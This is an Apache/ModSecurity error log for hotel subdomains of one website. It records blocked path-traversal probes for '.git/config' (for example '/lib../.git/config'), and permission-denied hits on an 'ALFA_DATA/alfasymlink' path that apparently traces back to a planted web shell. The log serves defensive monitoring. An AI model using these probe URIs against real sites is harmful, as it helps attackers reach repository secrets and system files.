[Mon Oct 26 09:30:17.057784 2026] [security2:error] [pid 3038684:tid 3038684] [client 45.138.12.27:45150] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at9V6Zf5Li7Pj9xX7mWoUgAAABU"]
[Mon Oct 26 09:30:17.058050 2026] [security2:error] [pid 3038684:tid 3038684] [client 45.138.12.27:45150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at9V6Zf5Li7Pj9xX7mWoUgAAABU"]
[Mon Oct 26 09:30:17.058320 2026] [security2:error] [pid 3038684:tid 3038684] [client 45.138.12.27:45150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at9V6Zf5Li7Pj9xX7mWoUgAAABU"]
[Mon Oct 26 09:30:17.658223 2026] [security2:error] [pid 3035808:tid 3035808] [client 45.138.12.27:10796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at9V6Ts8VJ7QW5firx_lIgAAAAE"]
[Mon Oct 26 09:30:17.658285 2026] [security2:error] [pid 3035808:tid 3035808] [client 45.138.12.27:10796] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at9V6Ts8VJ7QW5firx_lIgAAAAE"]
[Mon Oct 26 09:30:17.658351 2026] [security2:error] [pid 3035808:tid 3035808] [client 45.138.12.27:10796] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at9V6Ts8VJ7QW5firx_lIgAAAAE"]
[Mon Oct 26 09:30:17.658638 2026] [security2:error] [pid 3035808:tid 3035808] [client 45.138.12.27:10796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at9V6Ts8VJ7QW5firx_lIgAAAAE"]
[Mon Oct 26 09:30:17.659022 2026] [security2:error] [pid 3035808:tid 3035808] [client 45.138.12.27:10796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/img../.git/config"] [unique_id "at9V6Ts8VJ7QW5firx_lIgAAAAE"]
[Mon Oct 26 09:30:17.672277 2026] [security2:error] [pid 3039787:tid 3039787] [client 45.138.12.27:55409] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /content../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at9V6QFvZCDQk1o5ejlufAAAAAI"]
[Mon Oct 26 09:30:17.672336 2026] [security2:error] [pid 3039787:tid 3039787] [client 45.138.12.27:55409] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /content../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at9V6QFvZCDQk1o5ejlufAAAAAI"]
[Mon Oct 26 09:30:17.672404 2026] [security2:error] [pid 3039787:tid 3039787] [client 45.138.12.27:55409] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at9V6QFvZCDQk1o5ejlufAAAAAI"]
[Mon Oct 26 09:30:17.672632 2026] [security2:error] [pid 3039787:tid 3039787] [client 45.138.12.27:55409] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at9V6QFvZCDQk1o5ejlufAAAAAI"]
[Mon Oct 26 09:30:17.672968 2026] [security2:error] [pid 3039787:tid 3039787] [client 45.138.12.27:55409] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/content../.git/config"] [unique_id "at9V6QFvZCDQk1o5ejlufAAAAAI"]
[Mon Oct 26 09:30:17.678050 2026] [security2:error] [pid 3038684:tid 3038684] [client 45.138.12.27:45150] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at9V6Zf5Li7Pj9xX7mWoUwAAABU"]
[Mon Oct 26 09:30:17.678118 2026] [security2:error] [pid 3038684:tid 3038684] [client 45.138.12.27:45150] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at9V6Zf5Li7Pj9xX7mWoUwAAABU"]
[Mon Oct 26 09:30:17.678190 2026] [security2:error] [pid 3038684:tid 3038684] [client 45.138.12.27:45150] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at9V6Zf5Li7Pj9xX7mWoUwAAABU"]
[Mon Oct 26 09:30:17.678390 2026] [security2:error] [pid 3038684:tid 3038684] [client 45.138.12.27:45150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at9V6Zf5Li7Pj9xX7mWoUwAAABU"]
[Mon Oct 26 09:30:17.678688 2026] [security2:error] [pid 3038684:tid 3038684] [client 45.138.12.27:45150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at9V6Zf5Li7Pj9xX7mWoUwAAABU"]
[Mon Oct 26 09:30:17.681359 2026] [security2:error] [pid 3038664:tid 3038664] [client 45.138.12.27:45453] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at9V6QgazeYKT8ZOTcqEHwAAAAs"]
[Mon Oct 26 09:30:17.681413 2026] [security2:error] [pid 3038664:tid 3038664] [client 45.138.12.27:45453] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at9V6QgazeYKT8ZOTcqEHwAAAAs"]
[Mon Oct 26 09:30:17.681475 2026] [security2:error] [pid 3038664:tid 3038664] [client 45.138.12.27:45453] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at9V6QgazeYKT8ZOTcqEHwAAAAs"]
[Mon Oct 26 09:30:17.681638 2026] [security2:error] [pid 3038664:tid 3038664] [client 45.138.12.27:45453] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at9V6QgazeYKT8ZOTcqEHwAAAAs"]
[Mon Oct 26 09:30:17.681923 2026] [security2:error] [pid 3038664:tid 3038664] [client 45.138.12.27:45453] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/media../.git/config"] [unique_id "at9V6QgazeYKT8ZOTcqEHwAAAAs"]
[Mon Oct 26 09:30:17.696635 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.138.12.27:50093] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at9V6XYYJ1RlC0FZClQGKAAAABw"]
[Mon Oct 26 09:30:17.696699 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.138.12.27:50093] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at9V6XYYJ1RlC0FZClQGKAAAABw"]
[Mon Oct 26 09:30:17.696755 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.138.12.27:50093] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at9V6XYYJ1RlC0FZClQGKAAAABw"]
[Mon Oct 26 09:30:17.696980 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.138.12.27:50093] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at9V6XYYJ1RlC0FZClQGKAAAABw"]
[Mon Oct 26 09:30:17.697240 2026] [security2:error] [pid 3034818:tid 3034818] [client 45.138.12.27:50093] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at9V6XYYJ1RlC0FZClQGKAAAABw"]
[Mon Oct 26 09:30:19.421120 2026] [ssl:error] [pid 3039889:tid 3039889] (70014)End of file found: [client 54.86.59.155:42436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:30:23.798044 2026] [ssl:error] [pid 3039954:tid 3039954] (70014)End of file found: [client 52.21.62.139:49918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:30:27.278768 2026] [ssl:error] [pid 3039960:tid 3039960] (70014)End of file found: [client 18.213.102.186:18247] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:30:31.307830 2026] [ssl:error] [pid 3039889:tid 3039889] (70014)End of file found: [client 3.210.223.61:27594] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:31:01.187121 2026] [ssl:error] [pid 3026993:tid 3026993] (70014)End of file found: [client 34.233.219.155:56361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:31:04.029675 2026] [ssl:error] [pid 3039960:tid 3039960] (70014)End of file found: [client 98.84.60.17:41915] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:31:15.486601 2026] [core:error] [pid 3036181:tid 3036181] (13)Permission denied: [client 44.221.227.90:23674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:0c/subsystem/devices/device:07/eject
[Mon Oct 26 09:31:23.478815 2026] [core:error] [pid 3026993:tid 3026993] (13)Permission denied: [client 54.80.185.200:9257] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/device/subsystem/devices/device:00/physical_node/driver/bind
[Mon Oct 26 09:31:27.516258 2026] [core:error] [pid 3039787:tid 3039787] (13)Permission denied: [client 34.204.150.196:15664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/bind
[Mon Oct 26 09:31:39.605659 2026] [core:error] [pid 3039996:tid 3039996] (13)Permission denied: [client 54.204.62.163:45479] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/event2/subsystem/input1/device/drvctl
[Mon Oct 26 09:31:43.785231 2026] [ssl:error] [pid 3039889:tid 3039889] (70014)End of file found: [client 52.70.138.176:7945] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:31:47.594223 2026] [ssl:error] [pid 3039996:tid 3039996] (70014)End of file found: [client 52.1.157.90:45510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 09:31:51.561406 2026] [security2:error] [pid 3026993:tid 3026993] [client 45.138.12.65:25610] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at9WR3J9l6phwCFrVaFgwQAAAAA"]
[Mon Oct 26 09:31:51.561477 2026] [security2:error] [pid 3026993:tid 3026993] [client 45.138.12.65:25610] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /events../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at9WR3J9l6phwCFrVaFgwQAAAAA"]
[Mon Oct 26 09:31:51.561545 2026] [security2:error] [pid 3026993:tid 3026993] [client 45.138.12.65:25610] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at9WR3J9l6phwCFrVaFgwQAAAAA"]
[Mon Oct 26 09:31:51.561774 2026] [security2:error] [pid 3026993:tid 3026993] [client 45.138.12.65:25610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at9WR3J9l6phwCFrVaFgwQAAAAA"]
[Mon Oct 26 09:31:51.562091 2026] [security2:error] [pid 3026993:tid 3026993] [client 45.138.12.65:25610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/events../.git/config"] [unique_id "at9WR3J9l6phwCFrVaFgwQAAAAA"]
[Mon Oct 26 09:31:51.577725 2026] [security2:error] [pid 3039889:tid 3039889] [client 45.138.12.65:65474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at9WR1KL97q0JJCkTAItTQAAAA4"]
